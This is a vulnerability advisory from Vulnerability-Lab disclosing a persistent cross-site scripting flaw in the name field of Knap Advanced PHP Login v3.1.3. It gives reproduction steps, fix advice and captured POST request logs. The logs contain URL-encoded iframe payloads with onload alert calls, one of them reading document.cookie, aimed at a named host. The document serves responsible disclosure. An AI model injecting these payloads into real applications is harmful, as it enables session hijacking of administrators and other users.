Document Title: =============== Knap (APL) v3.1.3 - Persistent Cross Site Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2307 Release Date: ============= 2022-10-10 Vulnerability Laboratory ID (VL-ID): ==================================== 2307 Common Vulnerability Scoring System: ==================================== 5.7 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Knap is an advanced User Management software written in Laravel 5.4 (PHP Framework) that allows the admin to manage users. Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site web vulnerability in the Knap Advanced PHP Login v3.1.3 user management web-application. Affected Product(s): ==================== ajay138 Product: Knap Advanced PHP Login v3.1.3 - User Management (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-09-03: Researcher Notification & Coordination (Security Researcher) 2021-09-04: Vendor Notification (Security Department) 2022-**-**: Vendor Response/Feedback (Security Department) 2022-**-**: Vendor Fix/Patch (Service Developer Team) 2022-**-**: Security Acknowledgements (Security Department) 2022-10-10: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (User Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A persistent input validation web vulnerability has been discoveredin the Knap Advanced PHP Login v3.1.3 user management web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent cross site web vulnerability is located in the name parameter of the Profile Account - Account Information module. Remote attackers with ow privileged user accounts are able to inject own malicious script code as name to provoke an execution of the malicious content inside the users and activity log backend modules. The request method to inject is post. The injection points are the user create or update and the execution of the maliciou script code occurs in the activity log and users listings. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Register (Site) [+] Update (Account Information) Vulnerable Input(s): [+] Name Vulnerable Parameter(s): [+] name Affected Module(s): [+] ./users [+] ./activity Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and low user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Register as user or get registered by the admin 2. Start your web browser and a session tamper or debug tools 3. Open the My Profile menu with the Profile Account information section 4. Change the name input to your script code test payload and save via submit (post) Note: The injected payload executes successfully in the users list (backend) and within the activity log on history (backend) on preview by admins or mods 5. Successful reproduce of the persistent cross site scripting web vulnerability! --- PoC Session Logs (POST [Inject via User Role by Profile Account Update|Create] --- https://knap.froid.works/profiles/102 Host: knap.froid.works Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------73425417436906186553080920069 Content-Length: 29455 Origin:https://knap.froid.works Connection: keep-alive Referer:https://knap.froid.works/profile-edit Cookie: laravel_session=eyJpdiI6Ikt4Zmd3WDVSeThObVlvbnZld1JadWc9PSIsInZhbHVlIjoiN3pubk1YaVwvaWp6aWF2QlNwb3l2T2 h5MzdHZjJUd0Y2em1mUXE4Q1wvZHhnbkhwUW1ZaDU3aytaWFNURk5pc1M4IiwibWFjIjoiM2UwMTg0MGQ0M2VjMDk0YTVkN2M0ZGVjOWM5NmI1NDMzYzUxODU5ZmVkNmNmZDJlMTc5ZmVlYThiNTlkODIxZCJ9 0=_&1=t&2=o&3=k&4=e&5=n&6==&7=S&8=B&9=0&10=q&11=T&12=5&13=b&14=O&15=B&16=k&17=R&18=w&19=d&20=n&21=U&22=J&23=M&24=A&25=z&26=g&27=B &28=e&29=8&30=T&31=X&32=0&33=F&34=q&35=v&36=N&37=L&38=b&39=J&40=I&41=j&42=M&43=k&44=1&45=B&46=z&47=&&48=_&49=m&50=e&51=t&52=h &53=o&54=d&55==&56=P&57=U&58=T&59=&&60=n&61=a&62=m&63=e&64==&65=P&66=i&67=p&68=p&69=o&70=%&71=2&72=2&73=%&74=3&75=E&76=%&77=3 &78=C&79=i&80=m&81=g&82=%&83=3&84=E&85=%&86=3&87=E&88=%&89=2&90=2&91=%&92=3&93=C&94=i&95=f&96=r&97=a&98=m&99=e&100=+&101=s &102=r&103=c&104=%&105=3&106=D&107=e&108=v&109=i&110=l&111=.&112=s&113=o&114=u&115=r&116=c&117=e&118=+&119=o&120=n&121=l&122=o &123=a&124=d&125=%&126=3&127=D&128=a&129=l&130=e&131=r&132=t&133=(&134='&135=P&136=W&137=N&138=D&139='&140=)&141=%&142=3 &143=E&144=%&145=3&146=C&147=%&148=2&149=F&150=i&151=f&152=r&153=a&154=m&155=e&156=%&157=3&158=E&159=&&160=t&161=y&162=p&163=e&164==&165=p&166=e&167=r&168=s&169=o&170=n&171=a&172=l&173=I&174=n&175=f&176=o &177=&&178=e&179=m&180=a&181=i&182=l&183==&184=f&185=t&186=p&187=%&188=4&189=0&190=l&191=i&192=v&193=e&194=.&195=c&196=o &197=m&198=&&199=d&200=o&201=b&202==&203=2&204=0&205=2&206=1&207=-&208=0&209=9&210=-&211=1&212=0&213=&&214=g&215=e&216=n&217=d&218=e&219=r&220==&221=m&222=a&223=l&224=e&225=&&226=c&227=u&228=s&229=t&230=o &231=m&232=_&233=f&234=i&235=e&236=l&237=d&238=s&239=_&240=d&241=a&242=t&243=a&244=%&245=5&246=B&247=u&248=r&249=b&250=_ &251=1&252=%&253=5&254=D&255==&256=t&257=e&258=s &259=t&260=e&_token=SB0qT5bOBkRwdnUJMAzgBe8TX0FqvNLbJIjMk1Bz&_method=PUT&name=Pippo">>"&type=personalInfo &email=ftp@live.com&dob=2021-09-10&gender=male&custom_fields_data[urb_1]=teste - POST: HTTP/1.1 200 OK Server: Apache/2.4.39 (Ubuntu) Set-Cookie: laravel_session=eyJpdiI6Ik1zbUliRHJrMjNqY2pPcDQ5aENtYVE9PSIsInZhbHVlIjoiRjVYTG9aNjJUTlwvbHJDZ2xQbUx6V1hTOFg2SnlWeTBDYW1HVHNVOEJ4bUR KZ3ExMFVRcEE0bEI5OURMUm55RVciLCJtYWMiOiIzMzg2OTAyZTcyMDJmOGQ0ZWY5MWNjY2ZkZmRkOTA3NzA2NjI1NzViOWM5OWVlMzE0ZTZjMzhjMjRjMjE0N2VhIn0%3D; expires=Fri, 10-Sep-2021 19:09:50 GMT; Max-Age=7200; path=/; httponly Content-Length: 53 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json --- PoC Session Logs (POST [Inject via Admin Role] --- https://knap.froid.works/users/102 Host: knap.froid.works Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------23081715668612801831491484963 Content-Length: 39263 Origin:https://knap.froid.works Connection: keep-alive Referer:https://knap.froid.works/users Cookie: laravel_session=eyJpdiI6IktJUUlXU21TZHZGRHdkNEczbGZwMXc9PSIsInZhbHVlIjoidlhcLzl3cU1UbHVwZFVDclhkXC9CZGdDNkh XTEtlTnNmNWlWY3hwRzd3ZFNUcVI3R1plVHc1NE5tRUJoVmxobElQIiwibWFjIjoiODYyMmNiMjFlYTJjYzdkNGZkOTI2ZWQzYjg2M2U5OTA5NWI5NzVhYzExOWYzYTcwMTkyOTk1ZDMxOGRhNWE3OSJ9 0=_&1=t&2=o&3=k&4=e&5=n&6==&7=S&8=B&9=0&10=q&11=T&12=5&13=b&14=O&15=B&16=k&17=R&18=w&19=d&20=n&21=U&22=J&23=M&24=A&25=z&26=g&27=B&28=e&29=8&30=T&31=X&32=0&33= F&34=q&35=v&36=N&37=L&38=b&39=J&40=I&41=j&42=M&43=k&44=1&45=B&46=z&47=&&48=_&49=m&50=e&51=t&52=h&53=o&54=d&55==&56=P&57=U&58=T&59=&&60=n&61=a&62=m&63= e&64==&65=P&66=i&67=p&68=p&69=o&70=%&71=2&72=2&73=%&74=3&75=E&76=%&77=3&78=C&79=i&80=f&81=r&82=a&83=m&84=e&85=%&86=3&87=E&88=%&89=3&90=E&91=%&92=2&93= 2&94=%&95=3&96=C&97=i&98=f&99=r&100=a&101=m&102=e&103=+&104=s&105=r&106=c&107=%&108=3&109=D&110=e&111=v&112=i&113=l&114=.&115=s&116=o&117=u&118=r&119= c&120=e&121=+&122=o&123=n&124=l&125=o&126=a&127=d&128=%&129=3&130=D&131=a&132=l&133=e&134=r&135=t&136=(&137=d&138=o&139=c&140=u&141=m&142=e&143=n&144= t&145=.&146=c&147=o&148=o&149=k&150=i&151=e&152=)&153=%&154=3&155=E&156=%&157=3&158=C&159=%&160=2&161=F&162=i&163=f&164=r&165=a&166=m&167=e&168=%&169=3&170=E&171=&&172=e&173=m&174=a&175=i&176=l&177==&178=f&179=e&180=l&181=i&182=x&183=d&184=i&185=r&186=%&187=4&188=0&189=l&190=i&191=v&192= e&193=.&194=c&195=o&196=m&197=&&198=d&199=o&200=b&201==&202=2&203=0&204=2&205=1&206=-&207=0&208=9&209=-&210=1&211=0&212=&&213=g&214=e&215=n&216=d&217=e&218=r&219==&220=m&221=a&222=l&223=e&224=&&225=p&226=a&227=s&228=s&229=w&230=o&231=r&232= d&233==&234=&&235=x&236=C&237=o&238=o&239=r&240=d&241=O&242=n&243=e&244==&245=&&246=y&247=C&248=o&249=o&250=r&251=d&252=O&253=n&254= e&255==&256=&&257=p&258=r&259=o&260=f&261=i&262=l&263=e&264=I&265=m&266=a&267=g&268=e&269=W&270=i&271=d&272=t&273=h&274==&275=&&276= p&277=r&278=o&279=f&280=i&281=l&282=e&283=I&284=m&285=a&286=g&287=e&288=H&289=e&290=i&291=g&292=h&293=t&294==&295=&&296=c&297=u&298= s&299=t&300=o&301=m&302=_&303=f&304=i&305=e&306=l&307=d&308=s&309=_&310=d&311=a&312=t&313=a&314=%&315=5&316=B&317=u&318=r&319=b&320=_&321=1&322=%&323=5&324=D&325==&326=a&327=s&328=d&329=a&330=&&331=s&332=t&333=a&334=t&335=u&336=s&337==&338=a&339=c&340=t&341= i&342=v&343=e&_token=SB0qT5bOBkRwdnUJMAzgBe8TX0FqvNLbJIjMk1Bz&_method=PUT&name=Pippo">>"&email=felixdir@live.com&dob=2021-09-10&gender=male&password=&image=&xCoordOne=&yCoordOne=&profileImageWidth=&profileImageHeight=&custom_fields_data[urb_1]=asda&status=active - POST: HTTP/1.1 200 OK Server: Apache/2.4.39 (Ubuntu) Set-Cookie: laravel_session=eyJpdiI6IjdiMGZ5MHYzYklHbXpMS3FXK3ExTWc9PSIsInZhbHVlIjoid04yKzJWXC9wMzNEdVdheWJUVHNNS0c5VHQ3R2Y2OGpqY0U1a2VcLzRoM1 hIbzNrZDZCZk45SnhwRW5jTXhNMzNWIiwibWFjIjoiNDJmNGE3ZDgzMDU5Mzk5MjA0MzQwZWJhOGRkZTg0N2FmZWI0NGM4ZjNkZjg3M2Y1ZWNjNjQ2OTM1YTk3Y2UyOSJ9; expires=Fri, 10-Sep-2021 18:52:58 GMT; Max-Age=7200; path=/; httponly Content-Length: 53 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json Vulnerable Source: ./users (knap.deleteAlert) - >"? This action cannot be undone.',19)" class="btn btn-sm btn-danger red"> Delete Vulnerable Source: ./activity
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Solution - Fix & Patch: ======================= The persistent xss web vulnerability can be resolved by the following steps ... 1. Restrict the input fields of the name parameter to disallow special chars for the registration and update account information 2. Encode and escape the content of the name parameter to sanitize the registration and update account information 3. Sanitize and filter the output locations of the users and the activity log list modules Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE